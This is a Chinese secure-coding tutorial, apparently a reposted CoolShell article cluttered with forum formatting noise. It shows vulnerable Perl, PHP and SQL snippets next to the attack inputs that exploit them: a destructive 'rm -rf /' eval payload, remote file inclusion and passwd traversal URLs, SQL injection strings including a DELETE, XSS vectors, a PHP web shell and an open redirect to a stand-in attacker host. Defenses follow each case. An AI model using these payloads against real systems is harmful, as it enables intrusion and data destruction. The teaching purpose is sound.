|
几个月在我的微博上说过要建一个程序员疫苗网站,希望大家一起来提交一些错误示例的代码,来帮助我们新入行的程序员,不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样,我们应该给我们的新入行的程序员注射一些疫苗,就像给新生儿打疫苗一样,希望程序员从入行时就对这些错误有抵抗力。 我的那个疫苗网站正在建议中(不好意思拖了很久),不过,我可以先写一些关于程序员疫苗性质的文章,也算是热热身。希望大家喜欢,先向大家介绍第一注疫苗——代码注入。 Shell注入我们先来看一段perl的代码: [size=1em][size=1em]1
" T; O5 ~: O/ {4 z[size=1em]2
% h1 I, }4 _2 m$ Q[size=1em]3 , h2 B$ u& B' R1 p% h; j+ X/ y% U
[size=1em]4 / P" H7 e$ d/ ~: e
[size=1em]5 8 }% X# T1 X: d/ s5 L" E2 k
[size=1em]6
) F. L4 O" U l1 G7 D* P[size=1em]7 ' C4 q0 C/ D" o* {- W: |, h" V
[size=1em]8
/ i# `6 f4 a5 X[size=1em]9 $ c+ s- `" j9 N, |
[size=1em]10
/ a& h; Y$ }: @[size=1em]11 : A: i3 q" o4 {0 g% ~, f+ P6 D
| [size=1em][size=1em]use CGI qw(:standard);
^5 `8 @5 P7 B h" W- o[size=1em]$name = param('name');- ?" A4 l) q4 G; N) u
[size=1em]$nslookup = "/path/to/nslookup";
# k- [9 M/ o7 g/ U9 s# c% E[size=1em]print header;
+ X: t, A8 h7 o: Q$ v[size=1em]if (open($fh, "$nslookup $name|")) {# o8 |, ?) C; E. M
[size=1em] while (<$fh>) { H" q- \: b# s4 t
[size=1em] print escapeHTML($_);
0 Z' H% N- W6 a' I[size=1em] print "<br>\n";
8 P) h; }% x0 N- _6 ~[size=1em] }
% Z' _! V$ ]8 o" j1 \8 h2 a( j[size=1em] close($fh);$ g( ~" [- M$ ^( L+ I% @: v
[size=1em]}) g" K( J+ z& W& Q1 J% d& y
- }- c1 x f4 A( G8 F1 G
| . e2 H; V! A5 m6 C) O4 i) s+ s
# X) _. R/ S3 S$ a1 u
如果用户输入的参数是: [size=1em][size=1em]1 " l% M* b& @$ g3 N+ X0 A5 z
| [size=1em][size=1em]coolshell.cn%20%3B%20/bin/ls%20-l
7 E# K/ r1 @& D A3 m8 e6 z* e# P( P. {# e
| , C. U, o9 G7 t/ H9 W' a8 H& d+ V
7 L" c; z" {$ u3 `那么,这段perl的程序就成了: / X* q" f* T) O5 T
[size=1em][size=1em]1 # p! a* x5 ^! U* H7 V' r& E
| [size=1em][size=1em]/path/to/nslookup coolshell.cn ; /bin/ls -l
! m4 |( _0 v/ n6 D1 N& X) S3 Z, A9 N1 [% z0 q5 [/ J
| 1 Q1 c2 ~7 R7 @1 F; ^& ~, C
# S3 c1 y# ] g我们再来看一段PHP的程序: [size=1em][size=1em]1 `0 [9 `" [9 O$ N2 D
[size=1em]2
1 M3 m6 z/ t# `[size=1em]3 + `0 h& i' i, X c
| [size=1em][size=1em]$myvar = 'somevalue';
# p: Q8 e, L4 k8 ^[size=1em]$x = $_GET['arg'];
# K, h# T% \1 d3 h+ ~[size=1em]eval('$myvar = ' . $x . ';');
' f, s/ G3 l2 [! I% Q% k& @. b7 W2 m. e* t" {. N. J
|
7 R$ A+ G k! H% ?& ^+ e
* {# X5 H4 \. f. }- P( K7 d q“eval“的参数将会视同PHP处理,所以额外的命令可被添加。例如:如果”arg”如果被设成”10; system('rm -rf /')“,后面的”system('rm -rf /')“代码将被运行,这等同在服务器上运行开发者意料外的程序。(关于rm -rf /,你懂的,可参看“一个空格引发的悲剧”) 再来看一个PHP的代码 [size=1em][size=1em]1
' j& {: D" E& X. {, C[size=1em]2 8 b Y, K5 P2 g, L0 [
[size=1em]3
: ?& h2 C* P: m- T" O[size=1em]4
! C8 y3 K: g8 W# _ `* H- X$ I q[size=1em]5 : b! ?7 p, p3 \) U& a5 |$ H$ w# h( l
[size=1em]6 ! v+ f$ S5 o5 x0 L+ P- |& g0 H
| [size=1em][size=1em]$isadmin= false;% j1 R# V: k f. j' B
[size=1em]...$ {8 @3 e+ G7 t' \' u1 ?# F$ A% l
[size=1em]...
; z) w6 ^1 K b" m; Z0 b[size=1em]foreach ($_GET as $key => $value) {* H2 l/ D* \$ B' y. p. T& y
[size=1em] $$key = $value;) l" r' a4 ^6 i" t0 B4 |/ N
[size=1em]}
2 a3 @* b8 J# Y* t7 E l6 j
. V6 l# Y0 F$ z# ? v' @* V- S |
* Q, f+ Y( Z9 N7 d% L) {/ e% S8 E2 P( T# D
如果攻击者在查询字符串中给定”isadmin=1″,那$isadmin将会被设为值 “1″,然后攻击值就取得了网站应用的admin权限了。 再来看一个PHP的示例: [size=1em][size=1em]1 2 {4 t e( m# X e: G9 ^
[size=1em]2 c/ c/ I2 ~! G" {7 h0 n2 N' n
[size=1em]3 6 X' F/ G; ?/ C+ f1 d
[size=1em]4 2 g- {2 i7 ^" x
| [size=1em][size=1em]$action = 'login';
2 u5 h9 _" e& n- r[size=1em] if (__isset( $_GET['act'] ) )
+ r4 o- ]- r) M! P- d) J$ h# a[size=1em] $action = $_GET['act'];
% u4 G9 R& {% W7 M! J[size=1em] require( $action . '.php' );
& @* B# Q. H @- n" R/ ^$ ?7 m. W3 K" D: q9 @" `
| 8 F% h- ]. r) S* ^+ J$ J- P
# c. \& h* R: F$ Z% M' ~! m5 O
这个代码相当危险,攻击者有可能可以干这些事: - /test.php?act=http://evil/exploit - 注入远程机器上有漏洞的文件。
- /test.php?act=/home/www/bbs/upload/exploit - 从一个已经上载、叫做exploit.php文件运行其代码。
- /test.php?act=../../../../etc/passwd%00 - 让攻击者取得该UNIX系统目录检索下密码文件的内容。一个使用空元字符以解除.php扩展名限制,允许访问其他非 .php 结尾文件。 (PHP默认值”magic_quotes_gpc = On”可以终止这种攻击): g/ L/ P) V( |/ M
这样的示例有很多,只要你的程序有诸如:system()、StartProcess()、java.lang.Runtime.exec()、System.Diagnostics.Process.Start()以及类似的应用程序接口,都是比较危险的,最好不要让其中的字符串去拼装用户的输入。 PHP提供escapeshellarg()和escapeshellcmd()以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的 。 SQL注入SQL injection,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏。 在应用程序中若有下列状况,则可能应用程序正暴露在SQL Injection的高风险情况下: - 在应用程序中使用字符串联结方式组合SQL指令(如:引号没有转义)。
- 在应用程序链接数据库时使用权限过大的帐户(如:很多开发人员都喜欢用sa(最高权限的系统管理员帐户)连接Microsoft SQL Server数据库)。
- 在数据库中开放了不必要但权力过大的功能(例如在Microsoft SQL Server数据库中的xp_cmdshell延伸预存程序或是OLE Automation预存程序等)
- 过于信任用户所输入的数据,未限制输入的字符数,以及未对用户输入的数据做潜在指令的检查。
- t+ {& E _ y# w2 M
例程: 某个网站的登录验证的SQL查询代码为 [size=1em][size=1em]1
9 p& [: [* o& T[size=1em]2
$ @+ Q5 K. G7 d* { | [size=1em][size=1em]strSQL = "SELECT * FROM users
7 t( O9 y- [ Z* L4 a! v# z" M[size=1em]WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
' H7 j" l' @, R0 i) X) k5 y6 N
+ j6 e: h9 J4 G0 V0 j7 G: n: W |
1 i/ g$ C% A2 N7 u; d% F* r
; t5 _( L) J) R, j7 c; _用户在登录时恶意输入如下的的用户名和口令: [size=1em][size=1em]1
6 s$ \. {( ]9 _- h4 m | [size=1em][size=1em]userName = "' OR '1'='1";, h* r- A& V! s; i6 R# H9 G( G
8 @* B Z2 {$ h& e L4 S* U
|
& r8 K: }6 y. h* v5 \# D+ n) h
4 t2 M% G! v! Q/ B5 C2 E6 ][size=1em][size=1em]1 . N" W+ k7 c5 a# ?+ a
| [size=1em][size=1em]passWord = "' OR '1'='1";
2 E/ E- r6 m" r: S3 e" p% B1 u9 {% }4 Z. U
| : X5 [ Q5 z$ F$ f$ X* Q
1 X4 r: h) @: ?) t' N
此时,将导致原本的SQL字符串被解析为: [size=1em][size=1em]1 # l! N0 F$ n: N7 {4 I" X& W
[size=1em]2 [$ k1 s$ d0 ^) y/ _. Z3 e9 P6 c) k
| [size=1em][size=1em]strSQL = "SELECT * FROM users. \+ |0 s9 P, i% a" Q
[size=1em]WHERE (name = '' OR '1'='1') and (pw = '' OR '1'='1');"" j7 y5 {& i+ h% x$ C
' {! E' @- _9 d. J& O$ t | . ]; \! ]) L* G* w7 x) ^! E
: A5 @; U: Y+ v9 R
也就是实际上运行的SQL命令会变成下面这样的,因此导致无帐号密码,也可登录网站。 [size=1em][size=1em]1
' k0 B3 G' c+ u+ ]+ d+ g4 M: g | [size=1em][size=1em]strSQL = "SELECT * FROM users;"4 k; o* R `1 G8 Z! v! o( S5 r y
* @8 W. v* u% U8 ?! L% k# J9 f |
: e8 A1 z2 @7 c0 q" W7 Q d8 {: z" t+ i6 n6 u2 [) ]- {( H1 y, X3 H+ C
这还不算恶劣的,真正恶劣的是在你的语句后再加一个自己的语句,如: [size=1em][size=1em]1
R. B- `- k( q. A% p1 O | [size=1em][size=1em]username= "' ; DELETE FROM users; --";6 t& ]5 }/ a. l: a+ U
: x2 u! J6 u1 e3 M; U% p | & N1 D) i$ ]# y# \5 t q8 w& h( m
, b0 l7 o7 t2 O" C& [
这样一来,要么整个数据库的表被人盗走,要么被数据库被删除。 所以SQL注入攻击被俗称为黑客的填空游戏。你是否还记得酷壳新浪微博的XSS攻击》一文。XSS攻击是程序员有一糊涂就很容易犯的错误,你还可以看看网上的《腾讯微博的XSS攻击》。 XSS攻击在论坛的用户签档里面(使用img标签)也发生过很多次,包括像一些使用bcode的网站,很有可能会被注入一些可以被浏览器用来执行的代码。包括CSS都有可能被注入javascript代码。 另外,XSS攻击有一部分是和浏览器有关的。比如,如下的一些例子,你可能从来都没有想过吧?(更多的例子可以参看酷壳很早以前的这篇文章《浏览器HTML安全列表》) [size=1em][size=1em]1
; T% @; r. O! W( |. L; a8 y[size=1em]2
/ @1 v$ D7 {9 q6 v[size=1em]3
& l! l& T- c, s: Y% N[size=1em]4 ) {! r0 f# Y$ B' F: S* n
[size=1em]5 ( R1 E, \. K' r+ w# g8 M/ Z) G
| [size=1em][size=1em]<table background=”javascript:alert(1)”>
( ]7 {9 D* c% d: m+ b% M. D) \$ l
, G( ]" e' z6 P' W8 I[size=1em]<meta charset=”mac-farsi”>¼script¾alert(1)¼/script¾1 ?* N5 y5 l: ~
0 ~0 y, J. U9 r! B$ l& ?
[size=1em]<img src=”javascript:alert(1)”>
0 t& \. }$ p9 x3 v3 C ?7 c
9 `; o/ _8 ]0 D& _! ]1 F2 p |
7 e- R. U. y# a K4 L% O6 I- Y: b
9 E [- u0 h. x, M: AXSS攻击通常会引发CSRF攻击。CSRF攻击主要是通过在A站上设置B站点上的链接,通过使用用户在B站点上的登录且还没有过期的cookie,从而使得用户的B站点被攻击。(这得益于现在的多Tab页的浏览器,大家都会同时打开并登录很多的网站,而这些不同网站的页面间的cookie又是共享的) 于是,如果我在A站点内的某个贴子内注入这么一段代码: [size=1em][size=1em]1 ' y) x4 W( e P4 R' e7 I, X7 y5 @
| | 8 K7 o: f1 o ]
. P& F5 @+ @. S }$ P0 U) m7 T很有可能你就在访问A站的这个贴子时,你的网银可能向我转了一些钱。 如何避免 要防止XSS攻击,一般来说有下面几种手段: - 严格限制用户的输入。最好不要让用户输入带标签的内容。最好不要让用户使用一些所见即所得的HTML编辑器。
5 Z" `9 a' D. T% O+ f0 q
- 严格过滤用户的输入。如:
- PHP的htmlentities()或是htmlspecialchars()或是strip_tags()。
- Python的cgi.escape()
- ASP的Server.HTMLEncode()。
- Node.js的node-validator。
- Java的xssprotect。, P( H5 D$ ~# c+ j' |
1 x) `9 B0 H0 c1 ~: P# F/ ?0 P
- 在一些关键功能,完全不能信任cookie,必需要用户输入口令。如:修改口令,支付,修改电子邮件,查看用户的敏感信息等等。
/ B1 `6 R* k" A
- 限制cookie的过期时间。
8 ?! B( d( c9 w, m/ A
- 对于CRSF攻击,一是需要检查http的reference header。二是不要使用GET方法来改变数据,三是对于要提交的表单,后台动态生成一个随机的token,这个token是攻击者很难伪造的。(对于token的生成,建议找一些成熟的lib库)# [- P6 ]' {3 W1 [4 G
另外,你可能觉得网站在处理用户的表单提交就行了,其实不是,想一想那些Web Mail,我可以通过别的服务器向被攻击用户发送有JS代码、图片、Flash的邮件到你的邮箱,你打开一看,你就中招了。所以,WebMail一般都禁止显示图片和附件,这些都很危险,只有你完全了解来源的情况下才能打开。电子邮件的SMTP协议太差了,基本上无法校验其它邮件服务器的可信度,我甚至可以自己建一个本机的邮件服务器,想用谁的邮件地址发信就用谁的邮件地址发信。所以,我再次真诚地告诉大家,请用gmail邮箱。别再跟我说什么QQMail之类的好用了。 上传文件上传文件是一个很危险的功能,尤其是你如果不校验上传文件的类型的话,你可能会中很多很多的招,这种攻击相当狠。试想,如果用户上传给你一个PHP、ASP、JSP的文件,当有人访问这个文件时,你的服务器会解释执行之,这就相当于他可以在你的服务器上执行一段程序。这无疑是相当危险的。 举个例子: [size=1em]上传页面[size=1em]1
' q7 D) \& p: M0 J7 i8 S+ |# m[size=1em]2 : w3 @4 E1 s& d! P# f
[size=1em]3
' Q" R( @6 j6 q- I- X. e$ D[size=1em]4 : f& E- Z1 w5 J( k1 b9 r
[size=1em]5
+ b2 O4 e4 o6 Z+ D! J2 J[size=1em]6
2 f) T! o6 v; P" g" r9 O0 j) S[size=1em][size=1em]<form action="upload_picture.php" method="post" enctype="multipart/form-data">" d! B+ r6 A* R) L0 L' N8 z6 ^
[size=1em]要上传的文件:
! t/ _3 A4 |: K8 |; t p- k0 D9 e[size=1em]<input type="file" name="filename"/>
% F9 c8 I- v( b) C0 I[size=1em]<br/>$ T- q6 i) _1 \
[size=1em]<input type="submit" name="submit" value="Submit"/>
1 B- V7 E7 U* _: Q$ F8 m[size=1em]</form>& M8 c4 l" Y1 | F c
4 U& Y4 _$ | m7 M- N* l
% t0 ?7 Y$ e$ t
" F% Q. v# x) \, V[size=1em]后台上传文件的PHP程序[size=1em]1
8 Q% g: ]& T6 ?% E6 ]) p* Z# `[size=1em]2
9 `2 }8 J: Y8 [. h) E& ^[size=1em]3 / w3 q+ c3 F+ ?
[size=1em]4 $ V& e. h A2 ]2 u
[size=1em]5 % H; a9 g" o4 u) e
[size=1em]6 ; Q( D# ?, V; q& i. h
[size=1em][size=1em]$target = "pictures/" . basename($_FILES['uploadedfile']['name']);) [ Z' ?# R2 G) _% B, a' h
[size=1em]if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target)){
5 F4 R, [* E J( f# E& y[size=1em] echo "图片文件上传成功";* D/ E" z; x0 h T6 U/ M2 C1 k* a
[size=1em]}else{</div>' P$ z: Q' w R# g" ^9 g
[size=1em] echo "图片文件上传失败";
- k, d0 y; v3 C! M& ~% U[size=1em]} h5 \, S6 i! W! A' j) A
3 K% D9 O5 u8 X/ U5 ~7 l# U / V7 q- Z- f; r1 D: T9 Y! w
# @; x; z" Y( k6 F% b( x' V6 m假如我上传了一个PHP文件如下: [size=1em]文件名malicious.php[size=1em]1
) P. L1 b3 s6 k0 J& k* b. S[size=1em]2 ( P' p0 u: x, r' p! S& g. r
[size=1em]3 5 v+ ?8 {* C6 q* p2 o
[size=1em][size=1em]<?php! d+ [7 W7 ]8 r- ?+ j2 M
[size=1em]system($_GET['cmd']);' ^7 [2 a) A+ X! v; H; s
[size=1em]?>2 {! R' @/ v6 Y
- [* ]: ^9 v1 N/ o4 ~( R
- U0 Z" B# V7 M" s4 J; I- t0 j* K- H0 p/ }- i+ |/ L; |: ]& L0 a9 B
那么,我就可以通过如下的URL访问攻击你的网站了: [size=1em][size=1em]1 + l+ f1 _2 Q: d5 j
| [size=1em][size=1em]http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l2 A( U O1 ^3 p6 n1 T: l! k K- q
4 m Y8 u2 M5 {6 l |
9 I. m0 c2 N/ P- }# |$ |8 r
8 I( w9 Q9 ^; [8 @ N抵御这样的攻击有两种手段: 1)限制上传文件的文件扩展名。 2)千万不要使用root或Administrator来运行你的Web应用。 URL跳转URL跳转很有可能会成为攻击利用的工具。 比如下面的PHP代码: [size=1em][size=1em]1
. N' {8 P, e+ M+ d% X8 C! Z6 A[size=1em]2
* v: `" }1 {: M Z) Z | [size=1em][size=1em]$redirect_url = $_GET['url'];/ t! g6 _" u+ @7 j9 ?/ a
[size=1em]header("Location: " . $redirect_url);0 s, V5 e+ v7 I4 H
_$ u$ m& ^8 ^) j! I( @# h2 ^ | 3 C5 z; l- K/ o( ]
+ L1 B8 i7 t8 _) O1 {9 v5 [( ?
这样的代码可能很常见,比如当用户在访问你的网站某个页观的时候没有权限,于是你的网站跳转到登录页面,当然登录完成后又跳转回刚才他访问的那个页面。一般来说,我们都会在跳转到登录页面时在URL里加上要被跳转过去的网页。于是会出现上述那样的代码。 于是我们就可以通过下面的URL,跳转到一个恶意网站上,而那个网站上可能有一段CSRF的代码在等着你,或是一个钓鱼网站。
% N+ a5 i1 Z) p8 w+ e# f0 P4 Z[size=1em][size=1em]1 % w1 ^- T& A% S
| [size=1em][size=1em]http://bank.example.com/redirect?url=http://attacker.example.net. q# u9 b: i. I( ^ O0 v
7 t$ a# r) ?% r; ~' H
|
; g, K6 k; U& B. x) P8 n' [1 q- v
这种攻击具有的迷惑性在于,用户看到的http://bank.example.com,以为是一个合法网站,于是就点了这个链接,结果通过这个合法网站,把用户带到了一个恶意网站,而这个恶意网站上可能把页面做得跟这个合法网站一模一样,你还以为访问的是正确的地方,结果就被钓鱼了。 解决这个问题很简单,你需要在你的后台判断一下传过来的URL的域名是不是你自己的域名。 你可以看看Google和Baidu搜索引擎的链接跳转,百度的跳转链接是被加密过的,而Google的网站链接很长,里面有网站的明文,但是会有几个加密过的参数,如果你把那些参数移除掉,Google会显示一个重定向的提醒页面。(我个人觉得还是Google做得好) |